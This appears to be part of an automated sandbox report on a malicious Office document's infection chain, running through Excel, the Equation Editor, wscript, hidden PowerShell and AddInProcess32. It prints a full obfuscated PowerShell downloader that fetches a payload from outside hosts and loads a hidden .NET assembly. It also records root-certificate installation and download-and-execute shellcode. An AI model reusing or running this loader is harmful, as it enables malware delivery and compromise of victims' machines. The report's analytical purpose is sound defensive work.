'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior

Uses code obfuscation techniques (call, push, ret)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560000 push 00000003h; iretd	2_2_03560018
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560179 push es; ret	2_2_0356017A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602E6 push FFFFFFF6h; iretd	2_2_035602E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602EC push esi; retf	2_2_03560307
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315BB2 push F8B87029h; retf	8_2_00315C8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315C72 push F8B87029h; retf	8_2_00315C8E

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Contains functionality to download and launch executables

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Stores large binary data to the registry

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
